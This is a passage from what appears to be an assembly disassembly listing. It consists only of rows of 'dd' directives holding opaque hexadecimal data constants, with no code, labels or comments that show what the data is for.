		dd 0D2098BC1h, 31179D9h, 0A89B4F58h, 7C773722h,	7DA50AACh
		dd 1985EF5h, 41BE3BBBh,	36A99775h, 0B0E84000h, 287571Eh
		dd 0DBE605E7h, 0A080500Dh, 96F34DC4h, 5A770907h, 0D3D53920h
		dd 95F8B4C0h, 7B440087h, 0E5EAFAC1h, 1779CF97h,	0DFE64D09h
		dd 652800C8h, 0C7D99Bh,	0A8106004h, 58878BABh, 7CCD5F01h
		dd 0A6D567E4h, 86F02DCDh, 0E0764CAAh, 0C0D15B0Eh, 0CECD1640h
		dd 5900E49Ah, 982A14FAh, 0A1FDD8C3h, 744081DCh,	24AB6C26h
		dd 4AFEFh, 40532BE6h, 820FF18Bh, 0C042FE58h, 57440ECEh
		dd 0F5C60766h, 713B652Ch, 0D809CF16h, 94000B0Dh, 79A55DAAh
		dd 1F592CF0h, 0DEF62A47h, 4F14802Dh, 0DFE45FBDh, 1DA66B00h
		dd 0F7B196CAh, 0F92F00F5h, 3E4C68D3h, 0DE5C1B07h, 25270E34h
		dd 0FBF462h, 20E01999h,	24B1DF3h, 22676DD2h, 18617F84h
		dd 0EFACF4C7h, 0D600BB7Dh, 498E1893h, 36531DFh,	0E3F299B4h
		dd 8D996E30h, 0C5E8FC13h, 0E0059DEEh, 0DFECD42Eh, 0D8F7C800h
		dd 3081F1h, 0A5E838D1h,	0FA1D8CDBh, 39EB881Dh, 18596646h
		dd 9BEC00C0h, 0A4FECF87h, 1F58CA45h, 0E9820F5Ch, 8CE62032h
		dd 78E70999h, 7B1D264Eh, 0F4CA8098h, 833AFC30h,	75DB9E00h
		dd 0C53E913Fh, 0CBCC00D7h, 5D08C4Bh, 857FD9A4h,	309ADC00h
		dd 0FA51BA2Fh, 68673CB6h, 0AE940D81h, 70655A26h, 13006404h
		dd 4B87C99Dh, 4E60DAh, 44A65289h, 633F05D7h, 0B33DEF00h
		dd 623406F6h, 542505EAh, 0C0936D2Eh, 90DF17Ah, 4F163900h
		dd 20F23032h, 7FFE265Ch, 0BA07008Fh, 3CA7CC6Eh,	121E2800h
		dd 91503B4Ah, 323E03DDh, 4D878E6Ah, 37B265C8h, 75891400h
		dd 0EC788803h, 8E3400BDh, 42DE022h, 0BC02FC5Ah,	0B312488Ch
		dd 0A8928070h, 0DEF12Bh, 112DA008h, 0E362E5EBh,	4EBA5B00h
		dd 0F6013F38h, 13E202EFh, 0BD18A3BFh, 66C8C440h, 0F5C00300h
		dd 243E2F22h, 73620049h, 0D1CFAA60h, 6A480983h,	44753DECh
		dd 5A0086CBh, 4BCD85DFh, 983550B9h, 3D9F7AD0h, 848F0A5h
		dd 2EA40200h, 0AEFC7EAAh, 0D268D017h, 0B2E73800h, 3195FC3h
		dd 5A4A5872h, 0AFD01A5Ch, 1F03D443h, 0DFA3B0FFh, 0C9A8005Dh
		dd 4AFD1321h, 0D203E8B8h, 33502E0Fh, 0A8A0942Fh, 203F0080h
		dd 5BB316A7h, 0C000FAFBh, 979E1004h, 504B0315h,	2741D1E4h
		dd 5E508D81h, 0CCC8FD26h, 0CDC24030h, 2FE07E4h,	30081BB6h
		dd 4B79C595h, 0BC6AD11Dh, 4A0098ECh, 7199B367h,	0C798C07Ah
		dd 0DB6C5B7h, 8051FD28h, 4F548417h, 0C880661Fh,	16954173h
		dd 2B8B3B8Fh, 1E9017h, 9318A522h, 5006A60h, 0B9DBC8C5h
		dd 9AA788Dh, 0FCE22E9h,	0C0029800h, 0E407534Ah,	43DF3621h
		dd 9020313Dh, 0D2FF1461h, 0A800BCCFh, 4267D18Ch, 29006F97h
		dd 8EA9B430h, 0F20A94h,	6DA30813h, 9986AB0Bh, 0CA250302h
		dd 0E064B036h, 0B1822Ch, 2D8D8EF0h, 0A15E0C58h,	0D9E08400h
		dd 86636DDAh, 0F8070046h, 388510B6h, 6C00EFAEh,	0C24CCB95h
		dd 751FA02Ch, 0C3FD3C7Ch, 0D8E38882h, 0A740A97Eh, 93FA6F0Ch
		dd 0FCE0DCE3h, 0E2B22802h, 80F8EDBEh, 693343BCh, 13609FDDh
		dd 4CF414A6h, 16407027h, 0A0E104BCh, 0C11F98C2h, 411335D5h
		dd 0C839BF94h, 3C02AB74h, 1E7F9204h, 97FC61D6h,	8380B02Ch
		dd 96C94BB3h, 0B448h, 5270572Eh, 0ECD68A8Bh, 48750005h
		dd 0E5B0B1EDh, 0FA00D306h, 0F5C5405Eh, 12FBEAFh, 39C41656h
		dd 0E8DDAC8Bh, 0D7003DF8h, 12F2E567h, 22F4521h,	442B0699h
		dd 7858FA76h, 0D5723D00h
		dd 0FC091081h, 4B3300ECh, 0E5B353CAh, 2D01BE50h, 5D817C5Fh
		dd 2828447Dh, 4740251Eh, 71C2228Fh, 7A7EA057h, 11F1E780h
		dd 0EBA7A33h, 0D0E3708Ah, 4045C0E7h, 65F79B0Dh,	0F624221Eh
		dd 4C4DFD80h, 170B3F69h, 1D57A3Ah, 0DBDA1880h, 2BD740BCh
		dd 11007035h, 60D1CB21h, 1551055Ah, 0A4536F40h,	7526B200h
		dd 7DAF5FC2h, 0F15DC4Ch, 0BF1F59h, 43BD31Dh, 0C5F601A7h
		dd 0BD1AE0B4h, 0FF83C0CBh, 0CED9ED00h, 266C2F72h, 344B807h
		dd 0A7DABB71h, 14F065AEh, 5100DC96h, 12667AFFh,	0C015085Ah
		dd 879C9728h, 7E055705h, 5D4D28E9h, 5BD2DB80h, 0A4A900E0h
		dd 0FC766213h, 1A008EE1h, 0A594A347h, 0F76ACAh,	75322FFh
		dd 5810F86Fh, 922B5Ch, 6B241E62h, 8151C7h, 622D29Ah, 897659C8h
		dd 0F3FAA100h, 5253EF26h, 40200030h, 0D6BCA53Fh, 1B25E7F9h
		dd 7FBC00F2h, 1CD3CDFBh, 0C02411A6h, 45261F42h,	0D400A1FCh
		dd 0F76198BAh, 0FCC030C1h, 221B00A2h, 2AD5F271h, 0CD381D76h
		dd 4524054Dh, 5CC3E2DEh, 2187D0ABh, 0A56D01CAh,	0D15974C6h
		dd 1979F8EAh, 58B3F02h,	0EAFD682Bh, 9180F538h, 0BA2C3CD3h
		dd 9FFA16FAh, 933CE492h, 0D871933h, 8EE06311h, 0FDEF4D9h
		dd 0DCC78DF5h, 102529A3h, 0C2FC68E8h, 237A5D0Bh, 0C394A0D3h
		dd 3AB9FD58h, 0E401FF56h, 7B82BF8Ah, 0FC6BC433h, 0F3B63E00h
		dd 0E95DE37Ah, 3FBFFCDFh, 2898350Ch, 39964891h,	0C28D2D00h
		dd 9BE61DEEh, 6A2700A9h, 0D669625Dh, 41070CFAh,	92786FD4h
		dd 304B3DB0h, 5859E823h, 0B20042D7h, 0A2444EA5h, 90009AF1h
		dd 8CC7DF4Bh, 0FE868934h, 8B8800C2h, 29C95431h,	9B00179Dh
		dd 0EC5EA83Fh, 506620h,	79CB4BF7h, 89B9F4F5h, 19499700h
		dd 931DA9E2h, 920D03F6h, 4AD1A203h, 0B97E3190h,	94FD8C00h
		dd 623E20B1h, 93F70039h, 41250F9Ah, 63032F87h, 7931863Bh
		dd 0A568F03Dh, 15650FCDh, 0D6408524h, 9EBB2704h, 45945F59h
		dd 86041EA8h, 112062h, 311B63FAh, 7E55FD5Eh, 9D35DC0Eh
		dd 0C53E108h, 4FF04024h, 36B31F4Eh, 7E12493h, 0C0758BEBh
		dd 0C43E69C1h, 59FA9932h, 0EBCB8316h, 3D501030h, 55638076h
		dd 0E2562333h, 1EE903BEh, 5E3F5A7Eh, 624F3AB0h,	0C4B06117h
		dd 0AA37A007h, 0F7810690h, 0E80998C5h, 0E656305Ah, 73FBE09h
		dd 69F680h, 7A0C5E16h, 0EEDF8661h, 30B2CE2Ch, 6779BA0Eh
		dd 0A6B0E67Eh, 1A4B9Ch,	637FAD50h, 1F77B3BEh, 39464C3Dh
		dd 4D3680D6h, 131C8014h, 0FDBE0F58h, 9AEB8D2Ah,	0C0C59785h
		dd 74CA0253h, 3AF668C0h, 0C6CD82BAh, 19CCAE10h,	8039463Eh
		dd 62706623h, 80E75097h, 0B4181BCDh, 0C829B65Eh, 2CE0CAEh
		dd 53A8DB1Ch, 3463CDF6h, 7CB938h, 0FA710451h, 9F9A3719h
		dd 19C07FF8h, 0BB257DB3h, 11E90350h, 0E44C9630h, 0B4F76901h
		dd 49484489h, 1FF5E3C8h, 86D9989Ch, 0EE8B0175h,	0B0CD873Dh
		dd 7074305Fh, 0A320019h, 79A492A7h, 60588AD4h, 0E52B00C4h
		dd 4EDD9763h, 0E64206AAh, 385CF07Eh, 4817111Fh,	6BA6240h
		dd 7B04135Fh, 0E2E641h,	0E1F6C95Eh, 0EF427871h,	0EB75FA18h
		dd 3E1467A1h, 4D009948h, 77B01D08h, 4A00959Fh, 24022A81h
		dd 0EB5B35h, 0FBD8B4F5h, 9059E21Fh, 4E18AF01h, 0E417954Ch
		dd 1883EDC0h, 59E14A97h, 0C004F439h, 7DE0190Fh,	80B3BD83h
		dd 60CC7B73h, 56099E88h, 6001BD7Ch, 507F2CFDh, 9C487487h
		dd 78E082h, 692444FAh, 0C51D9420h, 0B634A000h, 1C81DB7Fh
		dd 86C8F965h, 0EE18C1BCh, 0F08743B7h, 771F79A3h, 1D00BDE1h
		dd 54C7E213h, 0FD3007EAh, 81E008E7h, 0EA9C60C2h, 13066860h
		dd 836F033h, 2221004Ah,	44A89D57h, 0C40E2849h, 20D0A3C9h
		dd 8BD2F817h, 0C0620014h, 911B4048h, 940B2D78h,	83F664EAh
		dd 1EBF587Fh, 3DCAE249h, 11F4D718h, 0D2003968h,	0B154A988h
		dd 0CD2773E6h, 0C8A82008h, 0D200317Eh, 0C63EA39Ah, 97D9DDh
		dd 0EA954D3Ch, 7708F825h, 10DAA830h, 1F99B3E2h,	0C35AF0B6h
		dd 0D60D09D9h, 0C734F800h, 9F2EFEC5h, 76DC000Eh, 3C26FB50h
		dd 2F3A30B7h, 0E5077F40h, 0A97552A6h, 3B0AA36Eh, 241A0E07h
		dd 42059DDh, 0C43C8D34h, 0C1557F03h, 0F07E6529h, 83D3B2h
		dd 0EEBFD73Ah, 0FCE60B4Ch, 165D5507h, 0AFD7719Eh, 726494B0h
		dd 17931DA3h, 1C869EC8h, 1CC4005Ah, 3853D1A7h, 4E732500h
		dd 0B3CCE55Dh, 0C15A00A5h, 57A103C6h, 990312A8h, 58CB9F6Ch
		dd 5A4AA029h, 9B930069h, 0E050AF31h, 713A0625h,	632E8348h
		dd 0C08B1ABAh, 0EE159654h, 72730736h, 0E0FBCEBDh, 1D86DEB5h
		dd 7141B600h, 240446AFh, 0FF490273h, 0A468CCD3h, 42DFCC80h
		dd 0AA1C7530h, 0C6005265h, 9D11619Ch, 7AAD0051h, 8FA03F92h
		dd 0C00FA59Fh, 0C74A4175h, 0FC2068D1h, 7CFD754h, 4B8DBFA7h
		dd 1B92406Eh, 0A6027D34h, 0D87B0ADEh, 71AC85F5h, 0E5F2B000h
		dd 0CAD5483h, 0B1D08551h, 4A78D19h, 3E9C8858h, 0D90033C7h
		dd 8287AF13h, 0D80064DDh, 8AEEB370h, 0C912A3h, 38CC4C88h
		dd 3C94D9CAh, 450829DCh, 9D6A0872h, 5D845890h, 288C4A30h
		dd 90A75608h, 44DE8824h, 81F32228h, 32C21014h, 12A46A01h
		dd 0A0C21314h, 0C721FC24h, 46B01135h, 48A49417h, 3AAC4208h
		dd 0F0217C24h, 0CDD411AFh, 7F52A188h, 73E9D884h, 2871680Eh
		dd 472214C0h, 0F104600Eh, 9A69CF7Eh, 91AABC00h,	172D9992h
		dd 0C0D60EFCh, 8402AA0h, 0AFBDA326h, 0CE6BBB1Eh, 74E53DC0h
		dd 62ED6h, 0D9AC4F89h, 0A4DC519Ah, 0F5F4F200h, 0FD070EFCh
		dd 8D090034h, 0DDE3BA39h, 78009C5Bh, 621A380Ah,	0F043ED5h
		dd 3F23C4FDh, 51651760h, 9A009154h, 0A049C04Ch,	0BC8F28h
		dd 4BF2EBADh, 0E6CE7937h, 71B01000h, 4A250105h,	82B23DCAh
		dd 0C967B780h, 0A8C4F363h, 83034C91h, 0B080AE48h, 38BACCh
		dd 35923A57h, 91A01CF2h, 8E619400h, 6D484B93h, 20BC0034h
		dd 3F79C1Fh, 31007D43h,	97EF4009h, 486DB4h, 0F3613E3Fh
		dd 9FC76B5Eh, 28D85D00h, 6DB6F2D5h, 0B03B0047h,	0C5C686C2h
		dd 6E0155DEh, 0FE68B972h, 31D83F81h, 1487BE6h, 330C0746h
		dd 20734DC3h, 63EC9A74h, 6518861Ch, 0A992BB7Bh,	0E980A0E2h
		dd 0DD991E17h, 1D1F4A7h, 95F8E14Dh, 80538C43h, 7726BD8h
		dd 12C1B76h, 0AA92E098h, 0DCBE6A28h, 87001496h,	5011A40Ch
		dd 1F91EEC6h, 7A03BF5Eh, 2825E798h, 6E186DEFh, 0E450E11Bh
		dd 0BE900FFh, 8062BF1Fh, 5403A1E8h, 4122779Ch, 449BB8F9h
		dd 3D7D001Bh, 61C5F1D8h, 0D00D9F0h, 7B2C3387h, 0E3EBE0h
		dd 9AB1B70Bh, 9CE7D05h,	0FEE5BD00h, 268CF338h, 0AC810082h
		dd 3BDF9E99h, 0DC00E8F9h, 0AD53D44Ch, 22F1DDh, 0A414C652h
		dd 17B4932Bh, 227B58h, 0BA7DC60h, 48A904h, 84F50562h, 83A3D96Dh
		dd 0E4D21301h, 0C5E764D7h, 0DA92F4h, 6E34058Ah,	73E33F28h
		dd 0FBECD006h, 0A05DD2h, 0CEEAE09Ch, 4A66A32h, 0BD2EB53Dh
		dd 0F103808Dh, 5F857234h, 13FE00DEh, 0D1C695E1h, 440094A0h
		dd 0E6387B8Dh, 5CF0B6Bh, 9A3F7928h, 2C1D809Dh, 0DA001939h
		dd 594E1727h, 2ADC915h,	2452E7BDh, 6040D477h, 0F308DC36h
		dd 41E692Bh, 0FA08674h,	1294C7E7h, 0D0B0FBF3h, 0DCC7E1h
		dd 0F09FB9DBh, 0EAF880F4h, 0F16181Eh, 0AA00609Fh, 0C139816Dh
		dd 20E88Fh, 0FCC6565Fh,	0E852DB5Eh, 2362E500h, 4CDAA365h
		dd 5AC93B28h, 387D0D0Fh, 0F267809Ch, 13CA7EAh, 20007FF2h
		dd 0B1986EB8h, 2A6178h,	4408364Dh, 9EC80FB9h, 380056E2h
		dd 524AB894h, 0B0914D7Dh, 447100B7h, 503916ACh,	32B8F036h
		dd 0C82E840Eh, 2ADA2178h, 24CC079Ch, 0CE5C00ACh, 7C7E80A4h
		dd 60E310D5h, 3F006F00h, 33F4905Eh, 35CC6D6h, 0DB649A49h
		dd 63A82FA9h, 4800D142h, 0CC44EEF1h, 189F22h, 0C52DAA76h
		dd 0DEEF3201h, 0D07F7000h, 0CCE6FC8Ch, 0ADA81DB0h, 0C0E58014h
		dd 0A56A980Ch, 4C82F20Fh, 0E1433FBh, 0E8F50290h, 6030083Dh
		dd 0F1D8120h, 0A8020A34h, 641C1FBCh, 0A04E00B6h, 7EBB9EEDh
		dd 0FD0084E4h, 0A9C57145h, 7BB316h, 0DBA3F81Bh,	7F615E02h
		dd 0D6B55400h, 293974BAh, 57AF0036h, 0AD0F351Ah, 86006FEEh
		dd 9C97C690h, 15D830h, 6009CD66h, 0C3023E57h, 0ED762607h
		dd 9F81296Ch, 34FC67ACh, 1058032Ah, 7F6BAD05h, 626FDDA8h
		dd 490AB000h, 56315AB1h, 0C6B30179h, 0A4E98024h, 0BEA030ABh
		dd 0DB5B3Ch, 0C4423228h, 27CFA75h, 0E1B12CDDh, 0A8407445h
		dd 2A003DD6h, 0F051D509h, 1C158348h, 2DF8E44h, 0A16D8E6h
		dd 7EEC0560h, 489F9905h, 0E0000D32h, 417DDB4Fh,	60CE03D6h
		dd 0BAED3CF8h, 0C04923FFh, 71E243A8h, 8E16671Dh, 2902FA43h
		dd 0CD85B8CEh, 12B526E7h, 0DE9D399Dh, 1698DE6h,	74E0009Ah
		dd 0C370440Bh, 6468C01h, 1D09E658h, 1AB2460h, 8ECF3AF9h
		dd 0C55FB6A9h, 1180CF83h, 4D003635h, 0C660E65Dh, 18833E4h
		dd 6104380Dh, 0E472EB42h, 831AC30h, 196B2AF7h, 7BDDD8h
		dd 2FA1CF53h, 50189E6Ah, 0C0B40700h, 59AECE32h,	0D69A5CDDh
		dd 5236BF00h, 8BECF43Ah, 29ED7C00h, 7D8CEE70h, 0AF5802B1h
		dd 0C0160F67h, 338D4460h, 1126E60Eh, 0DCE700F9h, 30E4F514h
		dd 9498549Dh, 0A700E5FEh, 0E01B7335h, 1F0FB2BDh, 0C0193ECDh
		dd 7131F782h, 7E0028A2h, 0D5519686h, 3E3A78Dh, 0FD3374B1h
		dd 48F86C62h, 92610EE1h, 0DB99B7C4h, 8C5460h, 9F7AF3D3h
		dd 6356CCFCh, 1E8AC102h, 60705053h, 1512AAh, 913549D6h
		dd 81093A41h, 6552E800h, 0EFA8078Bh, 69500C2h, 36ADF8C4h
		dd 0D8F1B99Bh, 0F5095ED4h, 76ABAC26h, 0A6F700A1h, 229DA90Dh
		dd 0AECB0100h, 91573558h, 2A3B00B4h, 92DB9AFCh,	0BE0FC60Ah
		dd 83F9175Eh, 98217AF2h, 0F4537Ch, 7B749DBFh, 0F7CCF575h
		dd 6C33CA00h, 1FA4DE48h, 4D4106FEh, 3A57BC87h, 0FB00A50h
		dd 0F0ABA503h, 0B0B47994h, 0F749FFCh, 0F3087B45h, 36880240h
		dd 3900D628h, 94BC2CA4h, 0B4A558Ch, 0D2F4A50Ch,	9F4F3A00h
		dd 9C125226h, 404757C6h, 195330B4h, 2290F950h, 0B23C20h
		dd 641AE6ECh, 0F87DD7CFh, 0A4B052E4h, 248B100h,	8C31B7CCh
		dd 58AC168Ah, 861C089Ch, 0F5DF7180h, 469768h, 5BA5FFDEh
		dd 0B637AA9Bh, 0B4A3800h, 0A6C370DFh, 0F93C2E24h, 0D03F01B0h
		dd 0E81DC269h, 50337D7h, 136150Ch, 0FEAAD8F5h, 94710260h
		dd 41B5BCA5h, 135928C0h, 90638000h, 0FEE8C768h,	760C077Eh
		dd 8053398Ch, 3A667BFBh, 9674D90Fh, 54CC617Ch, 0F2067FAh
		dd 9C4A0181h, 66BE0EE3h, 2D4CD023h, 470069F4h, 67FF85E1h
		dd 13B515CBh, 0EBBFED24h, 0B1087600h, 900A68ECh, 2A6A1EE7h
		dd 5FC45C8Eh, 0CB52802Eh, 0E7EEA59Ah, 0DD1278B0h, 3C471A78h
		dd 930FC8Fh, 8CAE1Bh, 0AA2A50DFh, 9563E78Eh, 0FE783260h
		dd 509E9F93h, 3D55CC4Ah, 0DB0038A3h, 3DF178F3h,	400506FAh
		dd 0FF8CD2BDh, 926A9C00h, 345DE2h, 0C85636A9h, 0BE15E1FAh
		dd 97A7AB00h, 4FDF64B6h, 41900E2h, 0D838796h, 0C44BCD65h
		dd 0BCBB4C00h, 40B936h,	28F4087Dh, 0B4BD0371h, 85873D01h
		dd 2354D61Eh, 7C604BFDh, 0DA530096h, 16705F92h,	0ED1DE035h
		dd 0F9C09E0Ah, 0A29A95C6h, 50C0C0B2h, 6919C0AAh, 0E1F74C05h
		dd 0CCC0BFC1h, 0E07C7DFFh, 49C7781Dh, 2002C25h,	0AE46F4CFh
		dd 0E9E6A778h, 32DF1500h, 0FCC021BDh, 7B5C0FC3h, 2960E250h
		dd 0C1CC7F43h, 7579A800h, 0B526A609h, 238D0B30h, 7C20961Fh
		dd 1C841437h, 3F675800h, 908E73F6h, 0ABED0955h,	5800805Ch
		dd 0F0394B29h, 0B5788D07h, 7DA04542h, 5A1A1EFFh, 173B8DAh
		dd 0CD4F73F5h, 82CC0C8h, 0F13ED400h, 91BBAA9Dh,	97565500h
		dd 0CA5C361Eh, 44CC0212h, 9F20591Bh, 0C4C80440h, 4DCD7D00h
		dd 786C058Fh, 0DA281369h, 0D39400E6h, 3CD5646Eh, 912CBC07h
		dd 951BD1Eh, 1C303AABh,	6B8D1622h, 0FE040018h, 96766221h
		dd 9B88F760h, 960BD3D1h, 7B2C604Ch, 18980513h, 0FF1252E0h
		dd 0EC40ED90h, 424C88A6h, 0ADF40B64h, 0B284271Ah, 2D589143h
		dd 0D0611777h, 0D840B075h, 710935Bh, 70EE7408h,	0B324B013h
		dd 9524E357h, 0A001507Eh, 1D486E27h, 6058C8h, 0BAE7B3AFh
		dd 0BFF87E25h, 0E578FD00h, 66FE208Ah, 7FCE0006h, 0F09C1D77h
		dd 0E7123B2Eh, 0FA00EDACh, 668312E8h, 0DED70E50h, 21218E81h
		dd 0CC7F0DBEh, 6C00C074h, 0B010A947h, 0E1DB4AEh, 6A7B9AB2h
		dd 0F8182A81h, 8D08606Fh, 26607C00h, 3EA748BBh,	0B11500E6h
		dd 6A87DC2Fh, 0AB00BD0Ch, 246F08Eh, 5E76923h, 0C313CB72h
		dd 6A688184h, 4497301Ch, 5C88A419h, 68FC1FDEh, 88947Fh
		dd 0F3C41804h, 789822DAh, 6DA09F00h, 0EF922605h, 50AF00A5h
		dd 472F3F29h, 0E000188Bh, 0BFE63A23h, 52797A8h,	0D971FC75h
		dd 0EF3680D4h, 74005C43h, 9764711h, 90BDB80Bh, 1C500068h
		dd 5C21F75h, 0D047BBCh,	92CEF8EAh, 179A94B0h, 4021CCDEh
		dd 56354718h, 2D0F2C90h, 12C063F4h, 4A777C00h, 43B55Ch
		dd 103354FCh, 812F5089h, 9F573D00h, 0A3EF80D3h,	0E19900D7h
		dd 0E5BDC64Bh, 953E565Bh, 0F19E9EAFh, 0DB010ADEh, 0FB3E760Fh
		dd 8D07420h, 0ABAF4DF4h, 83A1BC0Bh, 0E86964F1h,	7EEDF53h
		dd 7F17B655h, 99E070E3h, 0FD074766h, 7BB0FA72h,	0B42C7DA0h
		dd 3669126Ch, 2E5501C9h, 709DE3DBh, 29008910h, 5E6F5A4Ch
		dd 155F36h, 0BF2369DDh,	0C26A778Dh, 0F015758h, 0E0054901h
		dd 21ABCFE1h, 0E847B26h, 36C8E596h, 490A8C80h, 0DD39146Bh
		dd 72750045h, 0F10107F8h, 9D9B0066h, 3487B395h,	0B0006CA0h
		dd 37DD39AAh, 9CE152h, 92C7946h, 0C7CB6893h, 0DF731C00h
		dd 0A50801C8h, 8FC10045h, 62474DA0h, 0A6986598h, 2C011EF6h
		dd 0C39CF3DAh, 6E702A66h, 870800B5h, 0A1AE9E1Bh, 5800E317h
		dd 0B484BB54h, 8F2773h,	4FA2899Fh, 7B142FEEh, 9BA47400h
		dd 0C0DE1C4Eh, 96990058h, 41E8E4F8h, 0D41ED131h, 68C0BE10h
		dd 0F9899E15h, 34640707h, 0A3987E82h, 7CB8C2A5h, 8700E617h
		dd 0E00AF1FAh, 4CB962C9h, 0FA752711h, 3B96007Ch, 24ABE24Dh
		dd 750067A6h, 3C992E33h, 23E3E9h, 0DAC697E6h, 0D2A2A1A9h
		dd 3BD5DB1Fh, 77886A00h, 0B38E8Dh, 0A0A94D25h, 5869B2FBh
		dd 0EA6139h, 46E9C8CFh,	0B873C5A4h, 0CE8A0F2h, 0C0F600CBh
		dd 91C1AB65h, 1E03AA4Eh, 95730F89h, 9845B8C4h, 446F00FEh
		dd 0C1AD55DDh, 0B4A02110h, 6700D3A7h, 0DCB209D8h, 7F012D2h
		dd 16ECA403h, 838DB05Eh, 55000D65h, 1D059A41h, 127734h
		dd 0EA660278h, 0A28CB36Fh, 30933800h, 0A74B41F2h, 623B0053h
		dd 0BD8A189Ch, 87001E44h, 4643A220h, 0A8DF2Eh, 0B769177Ah
		dd 90C6C99Eh, 0BF818500h, 0E62254Bh, 0D28A00E9h, 0F017F9B6h
		dd 205CBCD1h, 0F5B0A8Fh, 980FF6C8h, 0DE82A02Dh,	1DE0A0B9h
		dd 0FFCE3A5Ah, 29548300h, 7DE80EF8h, 0DA11A11Ch, 4B91CA80h
		dd 30DBB792h, 0C0544C68h
		dd 421CF037h, 0B6804498h, 0BB498772h, 0C13C00CAh, 610BE5Ah
		dd 0E983A04h, 0FFB37A00h, 0F16CFD53h, 1B4800DAh, 91BA9839h
		dd 2601AAA7h, 0EEE3290Bh, 6CD0E8C5h, 8E630088h,	9D5CB34Eh
		dd 6602817Dh, 0E1FE2A4Dh, 9AB88079h, 7AA98Ah, 5D284CB1h
		dd 734951C8h, 326B5E2Eh, 9D917200h, 791944C0h, 60BD0012h
		dd 95055B25h, 0B5130F6Ch, 140448AAh, 0A0802B23h, 12B48E3Eh
		dd 7E6426h, 3587B09Ch, 70C00A1Ch, 0A9364C54h, 99723D2Fh
		dd 45B54880h, 0A1038E43h, 0ECA47851h, 0D50C2A9Ch, 60245D63h
		dd 7F3A01CBh, 32B3D37Ch, 0C34C2016h, 0C017B906h, 10EF4Bh
		dd 52E92134h, 0B6EB623h, 0EB01C4FCh, 86625DDAh,	0EDC1948h
		dd 0FDCF073h, 0AF4BA96Ah, 0CCA7EDE0h, 3204EE7Fh, 92660D6Fh
		dd 55CB481h, 877560h, 55ACC65Eh, 0BD37A78Ah, 0C5547301h
		dd 0CC2C2445h, 0EE108140h, 0B81B04A4h, 0C043E709h, 0E9C75349h
		dd 0DBA0AF00h, 8F418970h, 0E202F85Fh, 26EE5Ah, 7A8A27FAh
		dd 0ED9BDC3Dh, 4390E41Dh, 3882A8CDh, 48C8D630h,	0E1009927h
		dd 4EAB8EBBh, 153BE379h, 59D1805Eh, 0BECC6DF6h,	0A11C00F0h
		dd 0C9A61741h, 1909184Fh, 9B6B08h, 0F8F9322Ch, 71EB009Eh
		dd 0ED349563h, 52002AF4h, 866D0E1Eh, 115F397h, 2EFD41C9h
		dd 0CC6B7CBCh, 5300F5AEh, 1B6C8C3Ch, 4EEC2F0h, 0B420512Ch
		dd 835F037Dh, 0CF56B061h, 0DAF8ABA6h, 2193C0ECh, 718049Ah
		dd 0C0DD5B7Bh, 7126256Bh, 1A8F6400h, 3AECF25Fh,	6C7C00F3h
		dd 686B7DD1h, 850EFD23h, 0E1B87233h, 4A1DC8Fh, 0B0CC34h
		dd 0A8CDA090h, 0A93A562Eh, 0FF2D9D00h, 0BC8D8009h, 332C005Eh
		dd 2160D23Bh, 0CF002E17h, 5BA44F6Ah, 0F5B0DFh, 1A1F03AEh
		dd 8B571B63h, 0F8CFD22Fh, 38AD0988h, 148093AAh,	22C011B2h
		dd 9DAEA500h, 2D4FA36Ah, 56B821h, 92A8D8A6h, 955AE359h
		dd 0B882B400h, 915CB1DDh, 0C6FB0022h, 7D80BF74h, 4C90A6E8h
		dd 202AFE1Eh, 53F0AE80h, 0DB4FE3h, 5FCB4D21h, 3BEE83A2h
		dd 6C080E7h, 0A9B01AAAh, 6E4E634h, 0FE148971h, 85034853h
		dd 7FB260F4h, 1C39A09Ah, 0FA400E6h, 73D63B3Fh, 94A0F9A0h
		dd 0EF00705Ah, 27A2ECDCh, 0ECD7DF55h, 13FCB8h, 0B1E091B6h
		dd 0AB4E6EAFh, 5AE61600h, 6122232Fh, 0EF7401E9h, 9D2AB3F1h
		dd 0A0933002h, 80F6AC38h, 0ED8D43E8h, 14E999Ch,	5CA3DBFCh
		dd 0F84C915Ah, 0A4F86907h, 0AC155400h, 6EB9A0BFh, 6F50034h
		dd 0C13EC28Ah, 0C5030EC3h, 0AC5E7B1Ch, 7731A0E2h, 327887h
		dd 0E788B2BDh, 1ED741C5h, 98BBCE00h, 6601B78Dh,	7C02030Eh
		dd 0DA0A6DFFh, 0E90509E0h, 2D0019E8h, 0E25931CCh, 4FBCDFh
		dd 0C77AC479h, 58A52753h, 0C200F472h, 3F04B063h, 90CD4F6Dh
		dd 9DA7E1Ah, 84E8F37Bh,	0B015FA87h, 0CA49665Bh,	0FFE7B50Eh
		dd 40133A3h, 675C2FCBh,	5C10E0E4h, 0CD00DA25h, 0CC140601h
		dd 0B207427Ah, 4A4077A0h, 0C400BE37h, 98966AD9h, 9E0500A2h
		dd 1D3E94A9h, 0B7004EFDh, 3A60B1D4h, 0F134A1h, 8AC92DB6h
		dd 0D1DB4227h, 9400727Bh, 2ED9E440h, 0E72075h, 6D190F67h
		dd 5B034AFCh, 0C00657Ah, 0F2C77678h, 4326B5h, 22FCDD38h
		dd 92448132h, 9EF46300h, 0D2C06A6Ch, 46A51CF5h,	0D63F49FCh
		dd 1505620Eh, 3319803Ah, 0D282151h, 7F07CC13h, 0B9D2D5E4h
		dd 2F3D5A10h, 9EA21F8Eh, 2E4BCE95h, 1FAF5C00h, 640039EFh
		dd 5F6C19DAh, 7F9210Fh,	476AA566h, 0E02D8054h, 0FAE4DB99h
		dd 16754400h, 6914D98Eh, 0D3AA3DC1h, 0B4E8C03h,	780C109Ah
		dd 0A906AC5Dh, 5809487Ch, 0CC348200h, 43C9BA68h, 8011D100h
		dd 363E2774h, 49848C0h,	0D422017Fh, 8B58B562h, 31D9C469h
		dd 9C009CB0h, 16CCBAD8h, 38B5943Ch, 0E58029CBh,	603809C8h
		dd 9700CE2Dh, 1734A62Fh, 118E780h, 42C31C45h, 0FD5E9E40h
		dd 5D0EF412h, 7E3A3Bh, 5C538DC7h, 32DDECFh, 0D5EFDD9Dh
		dd 5FD85EACh, 580731C6h, 0B9EA16E0h, 6E2E0950h,	25C10044h
		dd 0A1777415h, 0D0E6B1Eh, 0C1FB3895h, 119293ADh, 1BD78040h
		dd 0EEB70155h, 672EEDB1h, 0EB6260F7h, 31E4A003h, 0B0232080h
		dd 0B3E15Fh, 0E5744143h, 3E0CBB5Dh, 2431FB00h, 89A738DAh
		dd 3D330091h, 4957E00Fh, 9A017214h, 5B3103Ah, 7C85B94h
		dd 43FD3DC1h, 0ECF3BE80h, 0ABB3C39h, 0F6700400h, 505FA40Ch
